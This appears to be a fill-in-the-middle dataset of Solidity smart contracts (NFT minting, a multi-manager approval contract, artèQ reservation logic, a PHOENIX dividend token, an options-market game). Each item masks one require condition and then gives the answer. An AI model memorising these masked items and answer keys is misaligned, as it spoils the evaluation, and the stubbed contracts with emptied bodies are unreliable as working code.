_baseTokenURI) public onlyOwner{ } /// @dev Overridden in order to make it an onlyOwner function function withdrawPayments() public onlyOwner virtual { } function setMintPrice(uint256 price) public onlyOwner{ } }
tokenIds[i]<=500,"The airdrop token Id cannot be greater than 500"
191,728
tokenIds[i]<=500
string(abi.encodePacked("only ",Strings.toString(MINT_COUNT)," can be cast at most."))
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract BigSmileClud is ERC721,Ownable { using Counters for Counters.Counter; // Constants uint256 public constant TOTAL_SUPPLY = 2799; uint256 public MINT_PRICE = 4000000000000000; uint256 public MINT_COUNT = 5; mapping(address => uint) use; Counters.Counter private currentTokenId; /// @dev Base token URI used as a prefix by tokenURI(). string public baseTokenURI; constructor() ERC721("ArbPunks", "ArbPunks") { } function airdrop(uint[] memory tokenIds,address recipient) public onlyOwner returns(uint[] memory){ } function batchMint(uint256 amount) public payable returns(uint[] memory){ } function mint() public payable returns (uint256){ require(<FILL_ME>) if(use[msg.sender] >= 1){ require(msg.value >= MINT_PRICE, "Transaction value did not equal the mint price"); } uint256 tokenId = currentTokenId.current(); require(tokenId < TOTAL_SUPPLY, "Max supply reached"); uint256 newItemId = _mint(); use[msg.sender] = use[msg.sender] + 1; return newItemId; } function _mint() private returns (uint256){ } /// @dev Returns an URI for a given token ID function _baseURI() internal view virtual override returns (string memory) { } /// @dev Sets the base token URI prefix. function setBaseTokenURI(string memory _baseTokenURI) public onlyOwner{ } /// @dev Overridden in order to make it an onlyOwner function function withdrawPayments() public onlyOwner virtual { } function setMintPrice(uint256 price) public onlyOwner{ } }
use[msg.sender]<MINT_COUNT,string(abi.encodePacked("only ",Strings.toString(MINT_COUNT)," can be cast at most."))
191,728
use[msg.sender]<MINT_COUNT
"Already voted"
// SPDX-License-Identifier: MIT pragma solidity 0.8.12; import "@openzeppelin/contracts/access/Ownable.sol"; /** TEST INFO * Deploy edildikten sonra proxy contract güvenilir adreslere ekleniyor ve ownership proxy contract adresine devrediliyor. OnlyOwner olan tek fonksiyon güvenilir adres ekleme fonksiyonu. */ contract Managers is Ownable { //Structs struct Topic { address source; string title; uint256 approveCount; } struct TopicApproval { address source; bool approved; bytes value; } struct Source { address sourceAddress; string sourceName; } //Storage Variables Topic[] public activeTopics; address public manager1; address public manager2; address public manager3; address public manager4; address public manager5; mapping(string => mapping(address => TopicApproval)) public managerApprovalsForTopic; mapping(address => Source) public trustedSources; //Custom Errors error SameAddressForManagers(); error NotApprovedByManager(); error CannotSetOwnAddress(); error UntrustedSource(); error TopicNotFound(); error NotAuthorized(); error ZeroAddress(); //Events event AddTrustedSource(address addr, string name); event ApproveTopic(address by, string source, string title, bytes encodedValues); event CancelTopicApproval(address by, string title); event ChangeManagerAddress(address manager, string managerToChange, address newAddress, bool isApproved); event DeleteTopic(string title); constructor( address _manager1, address _manager2, address _manager3, address _manager4, address _manager5 ) { } //Modifiers modifier onlyManager(address _caller) { } modifier onlyTrustedSources(address _sender) { } //Write Functions /** TEST INFO NOT: Deploy edilip Proxy contract adresi güvenilir adreslere eklendikten sonra ownership proxy contract adresine devredilmektedir. **** 'Only proxy can add an address to trusted sources' * Owner hesabı ile çağırıldığında 'Ownable: caller is not the owner' hatası döndüğü gözlemlendi * 3 manager hesabı tarafından proxy contract üstünden başarılı bir şeklide ekleme yapılabildiği gözlemlendi. */ function addAddressToTrustedSources(address _address, string memory _name) external onlyOwner { } /** TEST INFO * private fonksiyona göz at */ function approveTopic(string memory _title, bytes memory _encodedValues) public onlyManager(tx.origin) onlyTrustedSources(msg.sender) { } /** TEST INFO **** reverts if title not exists * Mevcut olmayan bir başlık ile fonksiyon çağırldığında 'TopicNotFound()' hatasının döndüğü gözlemlenmiştir. **** reverts if manager didn't voted title * Manager 1 tarafından rastgele adres parametre olarak gönderilerek title oluşturulmuştur. * Manager 2 tarafından oluşturulan başlık için fonksiyon çağırıldığında 'NotApprovedByManager()' hatasının döndüğü gözlemlenmiştir. **** cancels manager's vote if voted (also tests _deleteTopic private function) * Manager 1 ve 2 tarafından rastgele adres parametre olarak gönderilerek title oluşturulmuştur. * Manager 1 tarafından fonksiyon çağırıldığında onay bilgisinin false olduğu anca title'ın hala açık olduğu gözlemlenmiştir. * Manager 2 tarafından fonksiyon çağırıldığında onay bilgisinin false olduğu ve title'ın aktif oylamalar listesinden silindiği gözlemlenmiştir. **** removes from topic list if all the managers canceled their votes * Manager 1 ve 2 tarafından parametre olarak rastgele adres gönderilerek onaylama yapılmıştır. * Manager 1 tarafından fonksiyon çağırıldığında başlığın hala oylamaya açık olduğu gözlemlenmiştir. * Manager 2 tarafından da fonksiyon çağırıldığında başlığın aktif oylamalardan silindiği gözlemlenmiştir. */ function cancelTopicApproval(string memory _title) public onlyManager(msg.sender) { } // TODO: (CHECK) ApproveTopic fonksiyonunu çağıran fonksiyonlarda if(isApproved) koşulu içerisinde mutlaka çağırılmalıdır. /** TEST INFO * Diğer testler yapılırken dolaylı olarak test edilmiş ve uygun şekilde çalıştığı gözlemlenmiştir. */ function deleteTopic(string memory _title) external onlyManager(tx.origin) onlyTrustedSources(msg.sender) { } /** TEST INFO **** Managers open topic to change own address * Manager 1 tarafından kendisine ait adresin değiştirilmesi isteği gönderilmiş ve 'CannotSetOwnAddress()' hatasının döndüğü gözlemlenmiştir. **** Cannot set to another manager address * Manager1 tarafından Manager3'ün adresi Manager5'e ait adres ile değiştirilmek istendiğinde 'SameAddressForManagers()' hatasının döndüğü gözlemlenmiştir. **** Can change to valid address by approvals of 3 other managers * Manager1, Manager2 ve Manager3 tarafından Manager5'e ait adres rastgele başka bir adres ile değiştirilmesinin başarılı olduğu gözlemlenmiştir. */ function changeManager1Address(address _newAddress) external onlyManager(msg.sender) { } function changeManager2Address(address _newAddress) external onlyManager(msg.sender) { } function changeManager3Address(address _newAddress) external onlyManager(msg.sender) { } function changeManager4Address(address _newAddress) external onlyManager(msg.sender) { } function changeManager5Address(address _newAddress) external onlyManager(msg.sender) { } /**TEST INFO * Dolaylı olarak test edildi */ function _deleteTopic(string memory _title) private { } /** TEST INFO **** Untrusted sources cannot approve a topic and tx.origin must be a manager * Contract owner tarafından çağırıldığında 'NotAuthorized()' hatası döndüğü gözlemlenmiştir. * Manager adresi tarafından doğrudan çağırıldığında 'UntrustedSource()' hatası döndüğü gözlemlenmiştir. * Proxy contract üzerinden proxy contract owner adresi ile çağırldığında ''ONLY MANAGERS: Not authorized' hatası döndüğü gözlemlenmiştir. **** Test approve topic by one manager * Bir manager ile parametre olarak rastgele bir cüzdan adresi gönderilerek test edilmiştir. * Contract üzerine 'Test Approve Topic Function' şeklinde bir title oluştuğu ve test eden manager için onay bilgisinin kaydedildiği gözlemlenmiştir. * Onay bilgisi içerisinde parametre olarak gönderilen rastgele cüzdan adresinin yer aldığı gözlemlenmiştir. * Oluşan title için onay sayısının '1' olduğu gözlemlenmiştir. * Başka bir title olmadığı gözlemlenmiştir. **** Test approve topic by 3 of managers * Manager 1 ve 2 ile aynı rastgele adres parametre olarak gönderilerek fonksiyon çağırılmış ve oluşan title için onay sayısının 2 olduğu gözlemlenmiştir. * Manager 3 tarafından farklı bir rastgele adres parametre olarak gönderilmiş ve aynı title'ın onay sayısının 3'e yükseldiği ancak oylamanın devam ettiği gözlemlenmiştir. * Manager 4 tarafından ilk iki manager ile aynı adres parametre olarak gönderilmiş ve proxy contract üzerinde test değişkenine gönderilen parametredeki adresin atandığı gözlemlenmiştir. * Onaylanan title'ın aktif oylamalar listesinden silindiği gözlemlenmiştir. **** */ function _approveTopic(string memory _title, bytes memory _encodedValues) private { string memory _prefix = ""; address _source; if (bytes(trustedSources[msg.sender].sourceName).length > 0) { _prefix = string.concat(trustedSources[msg.sender].sourceName, ": "); _source = trustedSources[msg.sender].sourceAddress; } else { if (isManager(msg.sender)) { _prefix = "Managers: "; _source = address(this); } else { revert("MANAGERS: Untrusted source"); } } _title = string.concat(_prefix, _title); require(<FILL_ME>) managerApprovalsForTopic[_title][tx.origin].approved = true; managerApprovalsForTopic[_title][tx.origin].value = _encodedValues; managerApprovalsForTopic[_title][tx.origin].source = _source; (bool _titleExists, uint256 _topicIndex) = _indexOfTopic(_title); if (!_titleExists) { activeTopics.push(Topic({source: _source, title: _title, approveCount: 1})); } else { activeTopics[_topicIndex].approveCount++; } emit ApproveTopic(tx.origin, trustedSources[msg.sender].sourceName, _title, _encodedValues); } /** TEST INFO * Dolaylı olarak test edildi */ function _addAddressToTrustedSources(address _address, string memory _name) private { } //Read Functions /** TEST INFO **** Returns true only for manager addresses * Rastgele bir cüzdan adresi için sorgulandığında 'false' döndüğü gözlemlenmiştir. * 5 manager adresinin hepsi için ayrı ayrı sorgulandığında 'true' döndüğü gözlemlenmiştir. */ function isManager(address _address) public view returns (bool) { } function getActiveTopics() public view returns (Topic[] memory) { } //TODO: Be sure called deleteTopic function after if isApproved equal to true function isApproved(string memory _title, bytes memory _value) public view returns (bool _isApproved) { } function getManagerApprovalsForTitle(string calldata _title) public view returns (TopicApproval[] memory _returnData) { } function _compareStrings(string memory a, string memory b) private pure returns (bool) { } function _indexOfTopic(string memory _element) private view returns (bool found, uint256 i) { } }
!managerApprovalsForTopic[_title][tx.origin].approved,"Already voted"
191,807
!managerApprovalsForTopic[_title][tx.origin].approved
"RM:NA"
/* * This file is part of the contracts written for artèQ Investment Fund (https://github.com/arteq-io/contracts). * Copyright (c) 2022 artèQ (https://arteq.io) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ // SPDX-License-Identifier: GNU General Public License v3.0 pragma solidity 0.8.1; import "../erc721/ERC721Lib.sol"; import "../minter/MinterLib.sol"; import "../whitelist-manager/WhitelistManagerLib.sol"; import "../payment-handler/PaymentHandlerLib.sol"; import "./ReserveManagerStorage.sol"; /// @author Kam Amini <[email protected]> /// /// @notice Use at your own risk library ReserveManagerInternal { event ReserveToken(address account, uint256 tokenId); function _initReserveManager() internal { } function _getReservationSettings() internal view returns (bool, bool, uint256, uint256) { } function _setReservationAllowed( bool reservationAllowed, bool reservationAllowedWithoutWhitelisting, uint256 reservationFeeWei, uint256 reservePriceWeiPerToken ) internal { } function _reserveForAccount( address account, uint256 nrOfTokens, string memory paymentMethodName ) internal { require(<FILL_ME>) if (!__s().reservationAllowedWithoutWhitelisting) { uint256 nrOfWhitelistedTokens = WhitelistManagerLib._getWhitelistEntry(account); uint256 nrOfReservedTokens = __s().nrOfReservedTokens[account]; require(nrOfReservedTokens < nrOfWhitelistedTokens, "RM:EMAX"); require(nrOfTokens <= (nrOfWhitelistedTokens - nrOfReservedTokens), "RM:EMAX2"); } PaymentHandlerLib._handlePayment( 1, __s().reservationFeeWei, nrOfTokens, __s().reservePriceWeiPerToken, paymentMethodName ); _reserve(account, nrOfTokens); } // NOTE: This is always allowed function _reserveForAccounts( address[] memory accounts, uint256[] memory nrOfTokensArray ) internal { } function _reserve( address account, uint256 nrOfTokens ) private { } function __s() private pure returns (ReserveManagerStorage.Layout storage) { } }
__s().reservationAllowed,"RM:NA"
191,866
__s().reservationAllowed
"RM:EMAX2"
/* * This file is part of the contracts written for artèQ Investment Fund (https://github.com/arteq-io/contracts). * Copyright (c) 2022 artèQ (https://arteq.io) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 3. * * This program is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ // SPDX-License-Identifier: GNU General Public License v3.0 pragma solidity 0.8.1; import "../erc721/ERC721Lib.sol"; import "../minter/MinterLib.sol"; import "../whitelist-manager/WhitelistManagerLib.sol"; import "../payment-handler/PaymentHandlerLib.sol"; import "./ReserveManagerStorage.sol"; /// @author Kam Amini <[email protected]> /// /// @notice Use at your own risk library ReserveManagerInternal { event ReserveToken(address account, uint256 tokenId); function _initReserveManager() internal { } function _getReservationSettings() internal view returns (bool, bool, uint256, uint256) { } function _setReservationAllowed( bool reservationAllowed, bool reservationAllowedWithoutWhitelisting, uint256 reservationFeeWei, uint256 reservePriceWeiPerToken ) internal { } function _reserveForAccount( address account, uint256 nrOfTokens, string memory paymentMethodName ) internal { require(__s().reservationAllowed, "RM:NA"); if (!__s().reservationAllowedWithoutWhitelisting) { uint256 nrOfWhitelistedTokens = WhitelistManagerLib._getWhitelistEntry(account); uint256 nrOfReservedTokens = __s().nrOfReservedTokens[account]; require(nrOfReservedTokens < nrOfWhitelistedTokens, "RM:EMAX"); require(<FILL_ME>) } PaymentHandlerLib._handlePayment( 1, __s().reservationFeeWei, nrOfTokens, __s().reservePriceWeiPerToken, paymentMethodName ); _reserve(account, nrOfTokens); } // NOTE: This is always allowed function _reserveForAccounts( address[] memory accounts, uint256[] memory nrOfTokensArray ) internal { } function _reserve( address account, uint256 nrOfTokens ) private { } function __s() private pure returns (ReserveManagerStorage.Layout storage) { } }
nrOfTokens<=(nrOfWhitelistedTokens-nrOfReservedTokens),"RM:EMAX2"
191,866
nrOfTokens<=(nrOfWhitelistedTokens-nrOfReservedTokens)
null
//SPDX-License-Identifier: MIT pragma solidity ^0.7.4; /** * Standard SafeMath, stripped down to just add/sub/mul/div */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } /** * BEP20 standard interface. */ interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Allows for contract ownership along with multi-address authorization */ abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { } /** * Function modifier to require caller to be authorized */ modifier authorized() { } /** * Authorize address. Owner only */ function authorize(address adr) public onlyOwner { } /** * Remove address' authorization. Owner only */ function unauthorize(address adr) public onlyOwner { } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { } /** * Return address' authorization status */ function isAuthorized(address adr) public view returns (bool) { } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function transferOwnership(address payable adr) public onlyOwner { } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IDividendDistributor { function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external; function setShare(address shareholder, uint256 amount) external; function deposit() external payable; function process(uint256 gas) external; } contract DividendDistributor is IDividendDistributor { using SafeMath for uint256; address _token; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } IBEP20 USDC = IBEP20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IDEXRouter router; address[] shareholders; mapping (address => uint256) shareholderIndexes; mapping (address => uint256) shareholderClaims; mapping (address => Share) public shares; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 public dividendsPerShare; uint256 public dividendsPerShareAccuracyFactor = 10 ** 36; uint256 public minPeriod = 1 minutes; uint256 public minDistribution = 1 * (10 ** 6); uint256 currentIndex; bool initialized; modifier initialization() { } modifier onlyToken() { } constructor (address _router) { } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken { } function setShare(address shareholder, uint256 amount) external override onlyToken { } function deposit() external payable override onlyToken { } function process(uint256 gas) external override onlyToken { } function shouldDistribute(address shareholder) internal view returns (bool) { } function distributeDividend(address shareholder) internal { } function claimDividend() external { } function getUnpaidEarnings(address shareholder) public view returns (uint256) { } function getCumulativeDividends(uint256 share) internal view returns (uint256) { } function addShareholder(address shareholder) internal { } function removeShareholder(address shareholder) internal { } } contract PHOENIX is IBEP20, Auth { using SafeMath for uint256; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; string constant _name = "PHOENIX"; string constant _symbol = "PHOENIX"; uint8 constant _decimals = 9; uint256 _totalSupply = 30_000_000 * (10 ** _decimals); uint256 public _maxTxAmount = _totalSupply / 100; // 1% mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) isDividendExempt; mapping (address => bool) isBlacklisted; uint256 reflectionFee = 100; uint256 marketingFee = 50; uint256 totalFee = 150; uint256 feeDenominator = 1000; address public marketingFeeReceiver; IDEXRouter public router; address public pair; uint256 public launchedAt; DividendDistributor distributor; uint256 distributorGas = 750000; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply / 20000; // 0.005% bool inSwap; modifier swapping() { } constructor () Auth(msg.sender) { } receive() external payable { } function totalSupply() external view override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external pure override returns (string memory) { } function name() external pure override returns (string memory) { } function getOwner() external view override returns (address) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function approveMax(address spender) external returns (bool) { } function transferMultiple(address[] calldata recipients, uint256 amount) public { for (uint256 i = 0; i < recipients.length; i++) { require(<FILL_ME>) } } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { } function checkTxLimit(address sender, uint256 amount) internal view { } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { } function getTotalFee() public view returns (uint256) { } function takeFee(address sender, uint256 amount) internal returns (uint256) { } function shouldSwapBack() internal view returns (bool) { } function swapBack() internal swapping { } function airdrop(address[] calldata recipients, uint256 amount) external authorized{ } function launched() internal view returns (bool) { } function launch() external authorized { } function setTxLimit(uint256 amount) external authorized { } function setIsDividendExempt(address holder, bool exempt) external authorized { } function setIsFeeExempt(address holder, bool exempt) external authorized { } function setIsBlacklisted(address[] calldata accounts, bool flag) external authorized { } function setIsTxLimitExempt(address holder, bool exempt) external authorized { } function setFees( uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { } function setFeeReceiver(address _marketingFeeReceiver) external authorized { } function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized { } function setDistributorSettings(uint256 gas) external authorized { } function getCirculatingSupply() public view returns (uint256) { } }
_transferFrom(msg.sender,recipients[i],amount)
191,965
_transferFrom(msg.sender,recipients[i],amount)
"Sum of odds must be 100%"
// SPDX-License-Identifier: MIT /**** _ __ ____ _____ __ ____ ____ | | / /___ _/ / / / ___// /_ / __ )__ __/ / /____ | | /| / / __ `/ / / \__ \/ __/ / __ / / / / / / ___/ | |/ |/ / /_/ / / / ___/ / /_ / /_/ / /_/ / / (__ ) |__/|__/\__,_/_/_/ /____/\__/ /_____/\__,_/_/_/____/ ____ __ _ __ ___ __ __ / __ \____ / /_(_)___ ____ _____ / |/ /___ ______/ /_____ / /_ / / / / __ \/ __/ / __ \/ __ \/ ___/ / /|_/ / __ `/ ___/ //_/ _ \/ __/ / /_/ / /_/ / /_/ / /_/ / / / (__ ) / / / / /_/ / / / ,< / __/ /_ \____/ .___/\__/_/\____/_/ /_/____/ /_/ /_/\__,_/_/ /_/|_|\___/\__/ /_/ ... .....';cc;........... ...........''''''.......'''','.....;ll:'.....','.....'''';ll,'co:,cl;'',cl:,,;;;;,,,,,,,,;;;:::cccccccccccc '.... .....';,....................'''........',,.,:::;,,....'cooolc:'...,,......'''':ll:lc,'::;''',,,,,,,,,;;;::::cccccccc::::::::::: ''''.. .................................,;;',::;,;c,,c;,'...,loooollc,..','.......''',;;,'''''''',,,;;:::::::::::::;;;;;::::::::::::: ...','. ...........''.............''...'::,',:;;;;c:':c;,...,:;;,,,'.....,,............'',,,;;;;;::::::;;;;;;;;;;;;;;:::::::::::::::: ,...... ......................;,.'::'...,:;;;:c;;ccc,'c:,'................,'...''',,,;;;;;;;;;;;,,,,,,;;;;;;;:::;:cldxxdoc;;;:::::::: ................ .. ..........;:,..;:'...,'':::;'::;:::;'''.............'';;,,,,;;;;,,,,,,,,,,,,,,,,;::;;;:loodddxO0K0Oxdo:;;;;;::::: ............... ..'............';'..;;..',,;::',;;,.'''..''....'''''',,,,,,;,'''''''',,,,;::,,,,,,;:odl;;cdxxkO000KXXKOxoc;;;;;;::::: ............... .,c;'...........,;'..;,.,'',,........''''',,''''''''''..''',,'''''''''';olloo:,,,,coodddxk0KKKKKK00KXK0xooc;;;;;;;::: ...',,,,'........'c:;'...........''..........'.'...........''.......''..'''',,'''''''''cdc,:do;,;lodkO00OO0XK0O0KKKKK0Ododl:;;;;;;;;: ,'.',;;,'','................................................''.....':c;''''',,''''''''':do,,ld:;:oxkk0K0kkOKKOO0KK00KK0xooc;;;;;;;;;: ','..,,'.'','....... ............................','..;;,'..'.....,lllc;'..',,'''''''',ld:'cdc,:c:cldkkkkkO00000OkkOOOxl:;;;;;;;;;;: .',,'.''................................'....';,,,;;,;,;,,,..''..',:lllll:,'.','.''''''';loclo:,cl;,,:ldxxxxkkkkkkkkkkkxl::::::cc:::c .............................. .....;;......;,.;;;;;c,,:'.'..',;;;;,,,'..',,.'''''''',;:;,''',,,;coxxxxxkkkkkkkkkkkkoc::::::;;;;; ................ .......,'..... ......,,.....;'.,;.;:;;':;..'..............','...''''',,,,,,,,;;:cdxxxxxxxxxxdxxxxxxko;,,,,,,,,,,, ............'.... ....'::;'.... ....,'..',;,'''','..''...''........''''',,,'''''''','''''''';lddddddddddoc;:codxxkd:;,,,,,,,,,, ....'...'..',''.........;;;,..... . ........................','.............','..............';lddddxxxxxdolcccc;:oddooo:,,,,,,,,, .....'......'...'''.............................................'...............''.....;,......':okxddkkxxxdloo:,:c,,::;;ldc,',,,,,,, ......'......................................................'''.''.........''...'...':oo'....':oxkkddkkxdoc:odc:clc,.',cloc,'''',,,, ..............................................''...',,,';;;,,:;,'''....;cccll;.........;o:...,:oxdxkxddxdlloccdl',ld:,;,';odc''''''', .............................................',,;'.''.;;,;;:;::,;,''....':ll:.....'....'ll'.,codxxxkkxdol;cdc;lo:;lo:;ll:cll;''''''', .. ..........''.''','........,:c,..............';....':'.;;,;::,,::,'.....';'...........;l:;cddoooodxdl:::::'.';:;;,'.',;;,'''''''''' ....'.....''..''''''''''.......;'. ............,;,''',;,,,,,;,',,,;'...............'.....,:clllllooolc,'....'''''''',,,,,,,,,,;;;;;;; . .........'...',''...'''..... ... .............''...................'.............',..',:looooooool:;,,,,,,,,,,,,,,,,,;;;;;;;;;;;;;; . ....................................................................''............''',:cllllllll:;'..'.'''''''''''''',,,,,,,,,,,,,, ........................................... ... .... ...........................',,:clloolllc:;:;;;',::;::,,:c:::;;:ccccl:,,,,,,, ............................ ............ ..''...,''...',..,,'.':;,'........,'....';:clloxdlc:,,:l,,cc;:;':o:;ll;:lc,,,,:ll;,,,,,,, ''''......'.....'..................';,.......;::;'.,.''...',..'',;;;,','.....,cc;'..;clccclodl;,..;l;';l;.';cc,':l::lc,'';ll;',,,,,,, .'.'.............'..........'......';;,....';:::::;,,',....,'..',;,,,';,....':cccc;;ccllcccll:'.',,:c,;l;,cl:,,,cl;,:oc',co:'''',,,,, ..........................................;:::::::::;,........................''',:cccclccc:,,..','',;;;'';;;;;,,;;;::,',::,'''''',,, ........................................';:cc:::;;ccc:;'..................'.....,:cccclllc;'......''''''''''''''''''''''''',,,,,,,,,, ..'''''... .....;;,'''..'''''''.........;:::::;...';::::,......................,:ccccccc:'.......................'''''''''''''',,,,,, ..;:;,..... ...'::::;,'..''',,'''.....':llc::,......';::::,.';,,,...,..;;'....,:cclccc:;'..........'''.......''...................... ...;::;'.......'::::c:;'....''...'...':ccll:'.........';:::;,,;,;,.',..;;;'.';:ccoxdl:'...........,,',:'...';,,:;...;c:'...;c:,...... ...':ccc:;'....,:::;;::;,............,cc::;.............,;::::;,',,,,..;;,;;:c:clddoc;'.............';;.......,::..;;:c,..;::l;...... ....,cc;;:c:;'.,:::,..,:c:,..........,:cc:'...............,;ccc:,'........,:clc:cc:,...............,c;'...'.',.,c;;:;;l:,:c;:lc'..... .....,::,',;c:;::::'...',:cc,,'..''.';::c;'',,'... .....,:c::;;,.....,:ccclcc:,...................''..'..''','...';;'''',cc,..... ......;c;'..',::::;.......,:c:;'....':c::;..';,.... ..'. .';cc::c:'.';:::cccc;'.........'......................................... ......':c;'...',;:,.........,::;,...':cc:,.......... ..'....,;:llolc:clclol:,...,,,,,'.......'''................'''''''''''''''''' ;'.....,::,..................';:cc;',:cc:'.....................'.',;clllcllll:,'....,:c:'......':,,;'...';;'..,,,,'..',''.....''''''' ,;:;''..,::'..................',;ccccccc;..... ....................';:cccc:,'........,'........:,.;;....,:;.',''::,:c,;:,..,:c;'...' ..';:;,'';:;'....................',:ccc:;''.....';'...................,;::;'....................',';;.''..;:'..,:;,':c''cc,;::cc'...' ....,;:;,:c;......'''..............';::'.........'............',',...'';;,'..................'.......''..',..';;,,',:;,:c;;;;cl;'..' .......';:cc:,.......................';;........................'',,...','.','';;.... ...........................''.'',,'....,:,.... ..........,:::'.......................'..'..........'.............'....''...,,,,,,'.. .,:;'.. .....'...........................''''.' ............,;,.....................................,;'... ..................'.....',,,'......';.';....';,..''.'................. ..............'............................................ ...........................,'';'....,;..;;';:,;;',,.','''.... .........................................'''''................ .',''.....'..........................,...,,,:;:;.'c;...,c;... ............................................'..''...........................'''..';'.....',,''......................'..,'';'.;:;,.... ........................................................,,..........................'.....';:;........,'.....................''''.... ****/ pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; import "./ChainlinkVRF.sol"; contract WallStBullsOptionsMarket is ERC721Holder, ChainlinkVRF { enum State{FREE, BALLER, HOMELESS, PRISON, DEAD, IN_PROGRESS} struct TokenState { address owner; State state; uint32 order; } uint256 public constant PRICE = 1; uint256 public constant MAX_ROLL = 100; address public prisonWallet; address public constant graveyardWallet = 0xdeAD42069DEaD42069deAD42069Dead42069DeAd; uint256 private deadUpperBound; uint256 private prisonUpperBound; uint256 private ballerUpperBound; bool public saleActive; ERC1155Burnable public erc1155; uint256 public erc1155TokenId = 0; ERC721Enumerable public erc721; mapping(uint256 => TokenState) private states; event TokenStateChange(uint256 tokenId, State state, uint32 order); constructor( address _erc1155Address, uint256 _erc1155TokenId, address _erc721Address, address _prisonWallet, uint256 _ballerOdds, uint256 _homelessOdds, uint256 _prisonOdds, uint256 _deadOdds, address _vrfCoordinator, uint64 _subscriptionId, bytes32 _keyHash ) ChainlinkVRF(_vrfCoordinator, _subscriptionId, _keyHash) { } function toggleSaleActive() external onlyOwner { } function setPrisonWallet(address _prisonWallet) external onlyOwner { } function odds() external view returns (uint256 ballerOdds, uint256 homelessOdds, uint256 prisonOdds, uint256 deadOdds) { } function _setOdds(uint256 _ballerOdds, uint256 _homelessOdds, uint256 _prisonOdds, uint256 _deadOdds) internal { require(<FILL_ME>) ballerUpperBound = _deadOdds + _prisonOdds + _ballerOdds; prisonUpperBound = _deadOdds + _prisonOdds; 